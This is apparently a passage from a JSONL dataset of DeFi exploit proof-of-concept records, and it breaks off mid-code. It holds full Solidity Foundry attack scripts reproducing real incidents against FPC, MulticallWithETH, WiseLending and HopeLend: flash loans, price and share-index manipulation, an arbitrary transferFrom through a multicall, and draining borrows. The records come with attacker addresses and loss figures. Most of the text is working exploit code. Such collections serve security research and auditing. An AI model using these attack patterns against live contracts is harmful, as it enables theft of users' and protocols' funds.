"severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n console2.log(\"-------- attack before --------\");\n console2.log(\"eth balance of vault = \", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());\n console2.log(\"btc balance of vault = \", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());\n console2.log(\"usdc balance of vault = \", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());\n console2.log(\"usde balance of vault = \", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());\n console2.log(\"link balance of vault = \", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());\n console2.log(\"uni balance of vault = \", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());\n console2.log(\"usdt balance of vault = \", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());\n console2.log(\"frax balance of vault = \", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());\n console2.log(\"dai balance of vault = \", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());\n\n for (uint256 i = 0; i < 2; i++) {\n createOpenETHPosition();\n keeperExecuteOpenETHPosition();\n }\n\n console2.log(\"glp_manager_.getGlobalShortAveragePrice(address(btc_)) = \", glp_manager_.getGlobalShortAveragePrice(address(btc_)));\n\n createCloseETHPosition();\n for(uint i = 0; i< 5; i++) {\n keeperExecuteCloseETHPosition();\n keeperExecuteCloseBTCPosition();\n }\n console2.log(\"glp_manager_.getGlobalShortAveragePrice(address(btc_)) = \", glp_manager_.getGlobalShortAveragePrice(address(btc_)));\n isProfit = true;\n keeperExecuteCloseETHPosition();\n console2.log(\"-------- attack after --------\");\n console2.log(\"eth balance of vault = \", weth_.balanceOf(address(vault_)) / 10 ** weth_.decimals());\n console2.log(\"btc balance of vault = \", btc_.balanceOf(address(vault_)) / 10 ** btc_.decimals());\n console2.log(\"usdc balance of vault = \", usdc_.balanceOf(address(vault_)) / 10 ** usdc_.decimals());\n console2.log(\"usde balance of vault = \", usde_.balanceOf(address(vault_)) / 10 ** usde_.decimals());\n console2.log(\"link balance of vault = \", link_.balanceOf(address(vault_)) / 10 ** link_.decimals());\n console2.log(\"uni balance of vault = \", uni_.balanceOf(address(vault_)) / 10 ** uni_.decimals());\n console2.log(\"usdt balance of vault = \", usdt_.balanceOf(address(vault_)) / 10 ** usdt_.decimals());\n console2.log(\"frax balance of vault = \", frax_.balanceOf(address(vault_)) / 10 ** frax_.decimals());\n console2.log(\"dai balance of vault = \", dai_.balanceOf(address(vault_)) / 10 ** dai_.decimals());\n }\n\n // https://arbiscan.io/tx/0x0b8cd648fb585bc3d421fc02150013eab79e211ef8d1c68100f2820ce90a4712", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "gmx Exploit (2025-07)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 4.7M USDT\n// Attacker : https://bscscan.com/address/0x18dd258631b23777c101440380bf053c79db3d9d\n// Attack Contract : https://bscscan.com/address/0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3\n// Vulnerable Contract : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f\n// Attack Tx : https://bscscan.com/tx/0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f5937\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1940423393880244327\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PANCAKE_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant PANCAKE_PAIR = 0xa1e08E10Eb09857A8C6F2Ef6CCA297c1a081eD6B;\naddress constant FPC_ADDR = 0xB192D4A737430AA61CEA4Ce9bFb6432f7D42592F;\n\ncontract FPC is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 52624701 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = USDT_ADDR;\n }\n\n function testExploit() public balanceLog {\n // Step 1: borrow 23,020,000 USDT from Pancake Pool\n IPancakeV3Pool(PANCAKE_POOL).flash(address(this), 23_020_000 ether, 0, \"\");\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n uint256 amountIn = 23_019_990 ether;\n address[] memory path = new address[](2);\n path[0] = USDT_ADDR;\n path[1] = FPC_ADDR;\n IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));\n uint256[] memory amounts = router.getAmountsOut(amountIn, path);\n // Step 2: USDT -> FPC\n IPancakePair(PANCAKE_PAIR).swap(1 ether, amounts[1], address(this), hex\"00\");\n\n IERC20 fpc = IERC20(FPC_ADDR);\n // Step 4: create a helper contract to convert 247,441 FPC to USDT\n Helper helper = new Helper();\n fpc.transfer(address(helper), 247_441_170_766_403_071_054_109);\n helper.swap(PANCAKE_ROUTER, FPC_ADDR);\n\n // Step 6: pay back the loan\n IERC20(USDT_ADDR).transfer(PANCAKE_POOL, 23_020_000 ether + fee0);\n }\n\n // Step 3: transfer USDT to CAKE LP\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) public {\n IERC20 usdt = IERC20(USDT_ADDR);\n usdt.transfer(PANCAKE_PAIR, usdt.balanceOf(address(this)));\n }\n}\n\ncontract Helper {\n function swap(address routerAddr, address fpcAddr) public {\n IERC20 fpc = IERC20(fpcAddr);\n fpc.approve(routerAddr, type(uint256).max);\n\n uint256 balance = fpc.balanceOf(address(this));\n address[] memory path = new address[](2);\n path[0] = FPC_ADDR;\n path[1] = USDT_ADDR;\n // Root cause: FPC burns tokens on transfers to the pool.\n // Impact: attacker can sell FPC at an inflated price.\n // Step 5: FPC -> USDT\n IPancakeRouter(payable(routerAddr)).swapExactTokensForTokensSupportingFeeOnTransferTokens(balance, 0, path, msg.sender, block.timestamp);\n }\n}", "type": "exploit_poc", "protocol": "FPC", "date": "2025-07", "file_name": "FPC_exp.sol", "attack_vector": null, "content_hash": "be98ec1633dfdf0d", "collected_at": "2026-01-07T10:59:16.542285", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "4.7M USDT", "total_lost_usd": 4700000.0, "attacker_address": "https://bscscan.com/address/0x18dd258631b23777c101440380bf053c79db3d9d", "attack_contract": "https://bscscan.com/address/0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3", "vulnerable_contract": "https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f", "attack_tx": "https://bscscan.com/tx/0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f5937", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1940423393880244327", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "4.7M USDT", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // Step 1: borrow 23,020,000 USDT from Pancake Pool\n IPancakeV3Pool(PANCAKE_POOL).flash(address(this), 23_020_000 ether, 0, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "4.7M USDT", "keyinfo_attacker": "https://bscscan.com/address/0x18dd258631b23777c101440380bf053c79db3d9d", "keyinfo_attack_contract": "https://bscscan.com/address/0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f", "keyinfo_attack_tx": "https://bscscan.com/tx/0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f5937", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1940423393880244327", "funds_lost_formatted": "$4.70M", "content_richness_score": 7.77, "quality_estimate": "medium", "title": "FPC Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~10 K usdt\n// Original Attacker : https://bscscan.com/address/0x726fb298168c89d5dce9a578668ab156c7e7be67\n// Attack Contract : https://bscscan.com/address/0x756d614e3d277baea260f64cc2ab9a3ac89877d3\n// Vulnerable Contract: https://bscscan.com/address/0x3da0f00d5c4e544924bc7282e18497c4a4c92046\n// Attack Tx : https://bscscan.com/tx/0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab6302\n\n\n\ncontract MulticallWithETH is Test {\n address USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;\n address victim=0x3DA0F00d5c4E544924bC7282E18497C4A4c92046;\n\n struct Call {\n address target;\n bytes callData;\n uint256 value;\n bool allowFailure;\n }\n \n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 55371342);\n }\n\n function testExploit() public {\n bytes memory data=abi.encodeWithSelector(0x23b872dd,address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581),address(this),IERC20(USDC).balanceOf(address(0xfb0De204791110Caa5535aeDf4E71dF5bA68A581)));\n Call[] memory call = new Call[](1);\n call[0] = Call({\n target: address(USDC),\n callData: data,\n value: 0,\n allowFailure: false\n });\n\n\n \n address(victim).call(abi.encodeWithSelector(0xc9586258, call));\n\n emit log_named_decimal_uint(\"Balance after the attack\",IERC20(USDC).balanceOf(address(this)), 18);\n }\n\n\n}\n\n", "type": "exploit_poc", "protocol": "MulticallWithETH", "date": "2025-07", "file_name": "MulticallWithETH_exp.sol", "attack_vector": null, "content_hash": "2cc992866731ad48", "collected_at": "2026-01-07T10:59:16.542333", "_source": "postmortems", "chain": "bsc", "block_number": 55371342, "total_lost_raw": "~10 K usdt", "total_lost_usd": 10000.0, "attacker_address": "https://bscscan.com/address/0x726fb298168c89d5dce9a578668ab156c7e7be67", "attack_contract": "https://bscscan.com/address/0x756d614e3d277baea260f64cc2ab9a3ac89877d3", "vulnerable_contract": "https://bscscan.com/address/0x3da0f00d5c4e544924bc7282e18497c4a4c92046", "attack_tx": "https://bscscan.com/tx/0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab6302", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~10 K usdt", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~10 K usdt", "keyinfo_attacker": "https://bscscan.com/address/0x726fb298168c89d5dce9a578668ab156c7e7be67", "keyinfo_attack_contract": "https://bscscan.com/address/0x756d614e3d277baea260f64cc2ab9a3ac89877d3", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x3da0f00d5c4e544924bc7282e18497c4a4c92046", "keyinfo_attack_tx": "https://bscscan.com/tx/0x6da7be6edf3176c7c4b15064937ee7148031f92a4b72043ae80a2b3403ab6302", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$10.0K", "content_richness_score": 4.82, "quality_estimate": "low", "title": "MulticallWithETH Exploit (2025-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~260K USD$\n// Attacker : c0ffeebabe.eth (wihtehat)\n// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809 (Mev Contract)\n// Vulnerable Contract : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674\n// Attack Tx :https://etherscan.io/tx/0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/bbbb/status/1712841315522638034\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712871304993689709\n\ninterface IPositionNFTs {\n function mintPositionForUser(\n address _user\n ) external returns (uint256);\n}\n\ninterface IWiseLending {\n function getTotalDepositShares(\n address _poolToken\n ) external view returns (uint256);\n function getPseudoTotalPool(\n address _poolToken\n ) external view returns (uint256);\n function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);\n function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);\n function withdrawExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 aEthWETH = IERC20(0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 sDAI = IERC20(0x83F20F44975D03b1b09e64809B757c47f942BEeA);\n IERC20 aEthDAI = IERC20(0x018008bfb33d285247A21d44E50697654f754e63);\n IERC20 aEthUSDC = IERC20(0x98C23E9d8f34FEFb1B7BD6a91B7FF122F4e16F5c);\n IERC20 aEthUSDT = IERC20(0x23878914EFE38d27C4D67Ab83ed1b93A74D4086a);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);\n IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);\n Uni_Pair_V3 WETH_WBTC_Pair = Uni_Pair_V3(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n Recover recover;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_342_120);\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(wstETH), \"wstETH\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(aEthWETH), \"aEthWETH\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(sDAI), \"sDAI\");\n vm.label(address(aEthDAI), \"aEthDAI\");\n vm.label(address(aEthUSDC), \"aEthUSDC\");\n vm.label(address(aEthUSDT), \"aEthUSDT\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(PositionNFTs), \"PositionNFTs\");\n vm.label(address(WiseLending), \"WiseLending\");\n vm.label(address(WETH_WBTC_Pair), \"WETH_WBTC_Pair\");\n vm.label(address(Balancer), \"Balancer\");\n }\n\n function testExploit() public {\n WBTC.approve(address(WiseLending), type(uint256).max);\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WBTC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 50 * 1e8;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n profitLog();\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n recover = new Recover();\n uint256 recoverID = recover.init(); // open recover position\n\n uint256 borrowerID = PositionNFTs.mintPositionForUser(address(this)); // open borrower position\n\n WiseLending.depositExactAmount(recoverID, address(WBTC), 1); // deposit 1 WBTC to recover, mint 1 share\n WiseLending.depositExactAmount(borrowerID, address(WBTC), 1); // deposit 1 WBTC to borrower, mint 1 share\n\n WBTC.transfer(address(WiseLending), 50 * 1e8 - 2); // donate ~50 WBTC to WiseLending, inflate share price\n\n borrowAll(borrowerID);\n\n recover.recover(); // recover donated WBTC\n\n int256 swapAmount = -int256(amounts[0] - WBTC.balanceOf(address(this)));\n WETH_WBTC_Pair.swap(\n address(this), false, swapAmount, uint160(35_991_486_685_722_499_892_781_286_346_438_453), \"\"\n ); // swap WETH to WBTC\n WBTC.transfer(address(Balancer), amounts[0]); // repay flash loan\n }\n\n function borrowAll(\n uint256 id\n ) internal {\n WiseLending.borrowExactAmount(id, address(wstETH), 33_538_664_799_002_267_467); // inflate share price in _coreBorrowTokens() , borrow all wstETH\n WiseLending.borrowExactAmount(id, address(WETH), 339_996_372_423_526_589);\n WiseLending.borrowExactAmount(id, address(aEthWETH), 98_969_695_913_405_122_899);\n WiseLending.borrowExactAmount(id, address(DAI), 200_094_287_736_946_980_059);\n WiseLending.borrowExactAmount(id, address(sDAI), 16_161_480_100_000_000_000_000);\n WiseLending.borrowExactAmount(id, address(aEthDAI), 1_302_840_070_263_627_457_089);\n WiseLending.borrowExactAmount(id, address(aEthUSDC), 5_108_839_054);\n WiseLending.borrowExactAmount(id, address(aEthUSDT), 26_082_605_241);\n WiseLending.borrowExactAmount(id, address(USDC), 50_000_000);\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n WETH.transfer(address(WETH_WBTC_Pair), uint256(amount1Delta));\n }\n\n function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n function profitLog() internal {\n emit log_named_decimal_uint(\n \"Attacker wstETH balance after exploit\", wstETH.balanceOf(address(this)), wstETH.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker aEthWETH balance after exploit\", aEthWETH.balanceOf(address(this)), aEthWETH.decimals()\n );\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n emit log_named_decimal_uint(\n \"Attacker sDAI balance after exploit\", sDAI.balanceOf(address(this)), sDAI.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker aEthDAI balance after exploit\", aEthDAI.balanceOf(address(this)), aEthDAI.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker aEthUSDC balance after exploit\", aEthUSDC.balanceOf(address(this)), aEthUSDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker aEthUSDT balance after exploit\", aEthUSDT.balanceOf(address(this)), aEthUSDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n}\n\ncontract Recover {\n IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);\n IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n uint256 public positionID;\n\n function init() external returns (uint256) {\n positionID = PositionNFTs.mintPositionForUser(address(this));\n return positionID;\n }\n\n function recover() external {\n while (WiseLending.getPseudoTotalPool(address(WBTC)) > 2_000_000) {\n uint256 recoverAmount =\n (WiseLending.getPseudoTotalPool(address(WBTC)) - 1) / WiseLending.getTotalDepositShares(address(WBTC)); // withdraw share amount = 0 due to precision loss\n WiseLending.withdrawExactAmount(positionID, address(WBTC), recoverAmount);\n }\n WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));\n }\n\n function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "WiseLending", "date": "2023-10", "file_name": "WiseLending_exp.sol", "attack_vector": "flash_loan", "content_hash": "6270b302972c318a", "collected_at": "2026-01-07T10:59:16.542380", "_source": "postmortems", "chain": "ethereum", "block_number": 18342120, "total_lost_raw": "~260K USD$", "total_lost_usd": 260000.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809", "vulnerable_contract": "https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674", "attack_tx": "https://etherscan.io/tx/0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555", "postmortem_url": null, "twitter_url": "https://twitter.com/bbbb/status/1712841315522638034", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~260K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n WBTC.approve(address(WiseLending), type(uint256).max);\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(WBTC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 50 * 1e8;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n profitLog();\n }", "has_exploit_code": true, "keyinfo_total_lost": "~260K USD$", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674", "keyinfo_attack_tx": "https://etherscan.io/tx/0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/bbbb/status/1712841315522638034", "funds_lost_formatted": "$260.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "WiseLending Exploit (2023-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "import \"forge-std/Test.sol\";\n\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$825000 US$\n// Attacker : https://etherscan.io/address/0xA8Bbb3742f299B183190a9B079f1C0db8924145b\n// Attack Contract : https://etherscan.io/address/0xc74b72bbf904bac9fac880303922fc76a69f0bb4\n// Vulnerable Contract : https://etherscan.io/address/0x53FbcADa1201A465740F2d64eCdF6FAC425f9030\n// Attack Tx : https://etherscan.io/tx/0x1a7ee0a7efc70ed7429edef069a1dd001fbff378748d91f17ab1876dc6d10392\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x53FbcADa1201A465740F2d64eCdF6FAC425f9030#code\n\n// @Analysis\n// https://lunaray.medium.com/deep-dive-into-hopelend-hack-5962e8b55d3f\n\ninterface IHopeLendPool {\n function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\n\n function flashLoan(\n address receiverAddress,\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata interestRateModes,\n address onBehalfOf,\n bytes calldata params,\n uint16 referralCode\n ) external;\n\n function withdraw(address asset, uint256 amount, address to) external returns (uint256);\n\n function borrow(\n address asset,\n uint256 amount,\n uint256 interestRateMode,\n uint16 referralCode,\n address onBehalfOf\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 private WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 private USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 private HOPE = IERC20(0xc353Bf07405304AeaB75F4C2Fac7E88D6A68f98e);\n IERC20 private stHOPE = IERC20(0xF5C6d9Fc73991F687f158FE30D4A77691a9Fd4d8);\n // proxy 0xf1cd4193bbc1ad4a23e833170f49d60f3d35a621\n IAaveFlashloan AaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n\n // proxy 0x53fbcada1201a465740f2d64ecdf6fac425f9030\n IHopeLendPool HopeLend = IHopeLendPool(0x53FbcADa1201A465740F2d64eCdF6FAC425f9030);\n\n IERC20 private hEthWBTC = IERC20(0x25126F207Db7dC427415eA640ce0187767403907);\n\n IUniswapV2Router UniRouter02 = IUniswapV2Router(payable(0x219Bd2d1449F3813c01204EE455D11B41D5051e9));\n\n Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n\n uint256 index = 0;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_377_041);\n vm.label(address(this), \"AttackContract\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(HOPE), \"HOPE\");\n vm.label(address(stHOPE), \"stHOPE\");\n vm.label(address(AaveV3), \"AaveV3\");\n vm.label(address(HopeLend), \"HopeLend\");\n vm.label(address(hEthWBTC), \"hEthWBTC\");\n vm.label(address(UniRouter02), \"UniRouter02\");\n vm.label(address(Router), \"UniRouterV3\");\n }\n\n function approveAll() internal {\n WBTC.approve(address(this), type(uint256).max);\n WBTC.approve(address(AaveV3), type(uint256).max);\n WBTC.approve(address(HopeLend), type(uint256).max);\n WBTC.approve(address(Router), type(uint256).max);\n HOPE.approve(address(UniRouter02), type(uint256).max);\n stHOPE.approve(address(UniRouter02), type(uint256).max);\n USDC.approve(address(Router), type(uint256).max);\n }\n\n function testAttack() public {\n deal(address(this), 0);\n approveAll();\n\n address[] memory assets = new address[](1);\n assets[0] = address(WBTC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 2300 * 1e8;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n\n AaveV3.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0);\n\n WBTCToWETH();\n WETH.withdraw(WETH.balanceOf(address(this)));\n block.coinbase.call{value: 264 ether}(\"\");\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, WETH.decimals());\n }\n\n function executeOperation(\n address[] calldata asset,\n uint256[] calldata amount,\n uint256[] calldata premium,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n index++;\n if (index == 1) {\n HopeLend.deposit(address(WBTC), 2000 * 1e8, address(this), 0);\n }\n\n if (index == 2) {\n WBTC.transfer(address(hEthWBTC), 2000 * 1e8); // donate 2000 WBTC as flashloan fund to inflate index\n HopeLend.withdraw(address(WBTC), 2000 * 1e8 - 1, address(this)); // manipulate totalSupply to 1\n return true;\n }\n\n if (msg.sender != address(HopeLend)) {\n uint256 idx = 0;\n for (idx = 0; idx < 60; idx++) {\n address[] memory assets = new address[](1);\n assets[0] = address(WBTC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 2000 * 1e8;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0x0;\n\n HopeLend.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0x0);\n }\n\n uint256 WETHBalance = WETH.balanceOf(address(0x396856F04836AaEba30311E2903B43E565a4323E)); // WETH_hToken\n uint256 USDTBalance = USDT.balanceOf(address(0x6090F36F979bb221e71d5667afC3Bb445551B749)); // USDT_hToken\n uint256 USDCBalance = USDC.balanceOf(address(0x5dd30eDdcFfb7Dc18136501cE21E408243303572)); // USDC_hToken\n uint256 HOPEBalance = HOPE.balanceOf(address(0x58792e9279cC6a178bE5e367A145B75A36f74D90)); // HOPE_hToken\n uint256 stHOPEBalance = stHOPE.balanceOf(address(0x1fC2dD0dCb64E0159B0474CFE6E45985522C9386)); // stHOPE_hToken\n HopeLend.borrow(address(WETH), WETHBalance, 2, 0, address(this));\n HopeLend.borrow(address(USDT), USDTBalance, 2, 0, address(this));\n HopeLend.borrow(address(USDC), USDCBalance, 2, 0, address(this));\n HopeLend.borrow(address(HOPE), HOPEBalance, 2, 0, address(this));\n HopeLend.borrow(address(stHOPE), stHOPEBalance, 2, 0, address(this));\n\n address[] memory path = new address[](2);\n (path[0], path[1]) = (address(stHOPE), address(HOPE));\n UniRouter02.swapExactTokensForTokens(stHOPEBalance, 0, path, address(this), type(uint256).max);\n\n address[] memory path1 = new address[](2);\n (path1[0], path1[1]) = (address(HOPE), address(USDT));\n UniRouter02.swapExactTokensForTokens(\n HOPE.balanceOf(address(this)), 0, path1, address(this), block.timestamp + 10_000\n );\n\n USDTToUSDC();\n USDCToWBTC();\n WithdrawAllWBTC();\n }\n\n return true;\n }\n\n function USDTToUSDC() internal {\n address(USDT).call(abi.encodeWithSignature(\"approve(address,uint256)\", address(Router), type(uint256).max));\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(USDT),\n tokenOut: address(USDC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 10_000,\n amountIn: USDT.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(_Params);\n }\n\n function USDCToWBTC() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({\n tokenIn: address(USDC),\n tokenOut: address(WBTC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 10_000,\n amountIn: USDC.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n Router.exactInputSingle(_Params);\n }\n\n function WBTCToWETH() internal {\n Uni_Router_V3.ExactInputSingleParams memory _Params = 